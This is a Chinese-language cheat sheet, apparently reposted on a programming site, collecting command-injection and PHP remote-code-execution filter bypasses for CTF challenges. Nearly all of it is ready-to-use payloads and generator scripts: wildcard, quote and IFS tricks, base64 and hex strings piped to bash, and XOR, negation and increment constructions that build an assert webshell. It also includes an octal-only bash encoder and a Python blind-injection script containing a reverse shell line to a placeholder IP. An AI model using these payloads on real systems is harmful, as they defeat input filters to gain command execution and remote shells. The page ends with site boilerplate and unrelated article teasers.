RCE_绕过综合

<aside> 💡

管道符

</aside>

<aside> 💡

通配符绕过

</aside>

	**匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)? 匹配任何一个字符(不在括号内时)?代表任意1个字符[abcd] 匹配abcd中任何一个字符[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符**

<aside> 💡

空格过滤

</aside>

**<
<>
%20(即space)
%09(即tab)
$IFS$9
${IFS}
$IFS
{cat,/flag}**

<aside> 💡

反斜杠\绕过

</aside>

**//如cat、ls被过滤,使用\\绕过
c\\at /flag
l\\s /**

<aside> 💡

取反绕过

</aside>

**//取反传参
<?php$a = "system";
$b = "cat /flag";$c = urlencode(~$a);
$d = urlencode(~$b);//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>**

<aside> 💡

异或绕过

</aside>

**# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\\'\\",.<>/?-=_`~ "answer = input('输入异或构造的字符串:')tmp1, tmp2 = '', ''
for c in answer:for i in valid:for j in valid:if ord(i) ^ ord(j) == ord(c):tmp1 += itmp2 += jbreakelse:continuebreakprint(f'"{tmp1}"^"{tmp2}"')**
**//异或php脚本<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)echo '%ff';
?>//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff**
**//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){die("invalid input!");
}
eval($mess);//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"mess=$_="0302181"^"@[@[_^^";$_();**

<aside> 💡

自增绕过

</aside>

**//自增payload,assert($_POST[_]),命令传入_****$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();**

<aside> 💡

黑名单绕过

</aside>

**//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag//等效于打开ls目录下的文件
cat `ls`//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可//php标签绕过
?><?= phpinfo(); ?>**

<aside> 💡

base和hex编码绕过

</aside>

**//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash//shellcode编码
//十六进制编码**

<aside> 💡

正则匹配绕过

</aside>

**//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}**

<aside> 💡

引号绕过

</aside>

**//如cat、ls被过滤
ca""t /flag
l's' /**

<aside> 💡

cat替换命令

</aside>

**tac	   与cat相反,按行反向输出
more	 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	 与more类似
tail	 查看文件末几行
head	 查看文件首几行
nl	   在cat查看文件的基础上显示行号
od	   以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	   以二进制方式读文件,同时有可读字符显示
sort	 排序文件
uniq	 报告或删除文件的重复行
file -f	报错文件内容
grep	 过滤查找字符串,grep flag /flag**

<aside> 💡

回溯绕过

</aside>

**//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False**

<aside> 💡

无回显RCE

</aside>

**//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\\at /flag`;)**

<aside> 💡

无参数RCE

</aside>

**利用getallheaders()、get_defined_vars()、session_id等;**

<aside> 💡

无字母数字RCE

</aside>

**异或、取反、自增、临时文件上传;**

<aside> 💡

禁用 ?

</aside>

**八进制(不能解析带有参数的命令)  ls -> $'\\154\\163'**

<aside> 💡

禁用 ? 2-9

</aside>

**cmd = 'ls -al'payload = '$0<<<$0\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:payload += f'\\\\\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'**

<aside> 💡

仅含 <$!{}()_&

</aside>

**cmd = 'ls -al'r = {}x = '$((~$(())))'#-1for i in range(1,9):r[i] = '$((~$(('+xfor j in range(i):r[i] += xr[i] += '))))'r[0] = '$(())'payload = '__=$(())&&${!__}<<<${!__}\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:payload += '\\\\\\\\'for i in oct(ord(c))[2:]:payload += r[int(i)]payload += '\\\\\\''
print(payload)**

<aside> 💡

仅含<$ {}\#()'0

</aside>

重定向+八进制+数字构造

**import requests
n = dict()
n[0] = '0'
n[1] = '${##}'     #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))'   #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))'     #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'f=''def str_to_oct(cmd):                                #命令转换成八进制字符串s = ""for t in cmd:o = ('%s' % (oct(ord(t))))[2:]s+='\\\\'+o   return sdef build(cmd):                                     #八进制字符串转换成字符payload = "$0<<<$0\\<\\<\\<\\$\\\\\\'"s = str_to_oct(cmd).split('\\\\')for _ in s[1:]:payload+="\\\\\\\\"for i in _:payload+=n[int(i)]return payload+'\\\\\\''def get_flag(url,payload):                          #盲注函数try:data = {'cmd':payload}r = requests.post(url,data,timeout=1.5)except:return Truereturn False#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "<http://ip/>"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)**

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/439950.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 classification_report 评估 scikit-learn 中的分类模型

介绍 在机器学习领域&#xff0c;评估分类模型的性能至关重要。scikit-learn 是一个功能强大的 Python 机器学习工具&#xff0c;提供了多种模型评估工具。其中最有用的函数之一是 classification_report&#xff0c;它可以全面概述分类模型的关键指标。在这篇文章中&#xff…

低组装滚珠导轨:承载力强,适应多样工况!

在自动化行业中&#xff0c;高质量、高效率的生产线是确保产品品质和生产效率的关键。而低组装型滚珠导轨作为生产线中的重要组件之一&#xff0c;能够提供精准的直线运动控制&#xff0c;为自动化设备的稳定运行和高精度检测提供可靠支持。 相对于传统的导轨系统来说&#xff…

汇编语言笔记2

7.MASM,NASM,ATT,ARM的介绍 MASM:Windows下编译汇编指令的软件,可以在DOSBox下运行 NASM:优化版的MASM,主要用于Linux操作系统 ATT:Linux默认的汇编风格(但不友好) ARM:非PC(IOT设备)的汇编,比如写51单片机打开keil4的界面可以看到ARM 8.汇编 C语言 C 之间的关系 发展历程…

Arduino UNO R3自学笔记21 之 Arduino电机的闭环控制

注意&#xff1a;学习和写作过程中&#xff0c;部分资料搜集于互联网&#xff0c;如有侵权请联系删除。 前言&#xff1a;上篇写了电机速度测定&#xff0c;这篇主要是讲测定出的速度用于反馈&#xff0c;使得实际速度快速响应到需要的速度。 1.控制系统介绍 分2大类&#x…

《深度学习》【项目】OpenCV 发票识别 透视变换、轮廓检测解析及案例解析

目录 一、透视变换 1、什么是透视变换 2、操作步骤 1&#xff09;选择透视变换的源图像和目标图像 2&#xff09;确定透视变换所需的关键点 3&#xff09;计算透视变换的变换矩阵 4&#xff09;对源图像进行透视变换 5&#xff09;对变换后的图像进行插值处理 二、轮廓检测…

idea插件市场安装没反应

https://plugins.jetbrains.com/idea重启后还是不行那就

Docker:安装 MongoDB 的详细指南

请关注微信公众号&#xff1a;拾荒的小海螺 博客地址&#xff1a;http://lsk-ww.cn/ 1、简述 MongoDB 是一个流行的 NoSQL 数据库&#xff0c;可以在 Docker 容器中轻松安装和运行。本文将介绍如何在 Docker 中安装 MongoDB&#xff0c;并展示如何在 Java 应用中使用 MongoDB…

kafka发送消费核心参数与设计原理详解

核心参数详解&#xff1a; 发送端参数&#xff1a; 发送方式&#xff1a;默认值一般都是1: 重试参数 &#xff1a; 批量参数&#xff1a; 消费端参数&#xff1a; 自动提交参数&#xff1a; 如果是false&#xff0c;就是说消费完后不提交位移。也就是说比如之前消费的1-5.…

Qt教程(002):Qt项目创建于框架介绍

二、创建Qt项目 2.1 创建项目 【1、New Project】 【2、选择Qt Widgets Application】 【3、设置项目名称和保存路径】 注意&#xff0c;项目名称和路径不要带中文。 【4、选择QWidget】 带菜单栏的窗口QMainWindow空白窗口QWidget对话框窗口QDialog 【5、编译】 2.2 项目框…

前端编程艺术(4)---JavaScript进阶(vue前置知识)

目录 1.变量和常量 2.模版字符串 3.对象 4.解构赋值 1.数组的解构 2.对象的解构 5.箭头函数 6.数组和对象的方法 7.扩展运算符 8.Web存储 9.Promise 10.AsyncAwait 11.模块化 1.变量和常量 JavaScript 中的变量和常量是用于存储数据的标识符。变量可以被重新赋值&am…

基于阻塞队列及环形队列的生产消费模型

目录 条件变量函数 等待条件满足 阻塞队列 升级版 信号量 POSIX信号量 环形队列 条件变量函数 等待条件满足 int pthread_cond_wait(pthread_cond_t *restrict cond,pthread_mutex_t *restrict mutex); 参数&#xff1a; cond&#xff1a;要在这个条件变量上等待 mutex…

windows下,在vscode中使用cuda进行c++编程

安装cuda CUDA Toolkit Downloads | NVIDIA Developer 这里网上教程多的是&#xff0c;在这个网址下载安装即可 我这台电脑因为重装过&#xff0c;所以省去了安装步骤&#xff0c;但是要重新配置环境变量。我重新找到了重装之前的CUDA位置(关注这个bin文件夹所在的目录) 在…

微信第三方开放平台接入本地消息事件接口报错问题java.security.InvalidKeyException: Illegal key size

先看报错&#xff1a; java.security.InvalidKeyException: Illegal key sizeat javax.crypto.Cipher.checkCryptoPerm(Cipher.java:1039)at javax.crypto.Cipher.implInit(Cipher.java:805)at javax.crypto.Cipher.chooseProvider(Cipher.java:864)at javax.crypto.Cipher.in…

九、3 串口发送+printf函数移植+打印汉字

1、接线图 TX与RX交叉连接&#xff0c;TXD接STM32的PA10&#xff0c;RXD接STM32的PA9 VCC与3.3V用跳线帽连接 2、函数介绍 3、代码部分 &#xff08;1&#xff09;发送字节的函数&#xff08;Byte&#xff09; 可直接发送十六进制数 如0x41&#xff0c;也可直接发送字符 如A …

【重学 MySQL】五十六、位类型

【重学 MySQL】五十六、位类型 定义赋值与使用注意事项应用场景 在MySQL数据库中&#xff0c;位类型&#xff08;BIT类型&#xff09;是一种用于存储位字段值的数据类型。 定义 BIT(n)表示n个位字段值&#xff0c;其中n是一个范围从1到64的整数。这意味着你可以存储从1位到64…

【AIGC】AI时代的数据安全:使用ChatGPT时的自查要点

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;法律法规背景中华人民共和国保守秘密法中华人民共和国网络安全法中华人民共和国个人信息保护法遵守法律法规的重要性 &#x1f4af;ChatGPT的数据使用特点ChatGPT数据安全…

YOLOv11 vs YOLOv8:谁才是真正的AI检测之王?

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

Js逆向分析+Python爬虫结合

JS逆向分析Python爬虫结合 特别声明&#x1f4e2;&#xff1a;本教程只用于教学&#xff0c;大家在使用爬虫过程中需要遵守相关法律法规&#xff0c;否则后果自负&#xff01;&#xff01;&#xff01; 完整代码地址Github&#xff1a;https://github.com/ziyifast/ziyifast-co…

28 Vue3之搭建公司级项目规范

可以看到保存的时候ref这行被提到了最前面的一行 要求内置库放在组件的前面称为auto fix&#xff0c;数组new arry改成了字面量&#xff0c;这就是我们配置的规范 js规范使用的是airbnb规范模块使用的是antfu 组合prettier&eslint airbnb规范&#xff1a; https://github…

重磅来袭!CMSIS-DAP 脱机烧录器 EasyFlasher 发布~

重磅来袭&#xff01;CMSIS-DAP 脱机烧录器 EasyFlasher 发布~ 目录 重磅来袭&#xff01;CMSIS-DAP 脱机烧录器 EasyFlasher 发布~相关文章1、前言1、产品特点2、功能说明3、支持芯片4、关于烧录5、写在最后 某宝店铺&#xff1a;觉皇工作室 购买链接&#xff1a;https://item…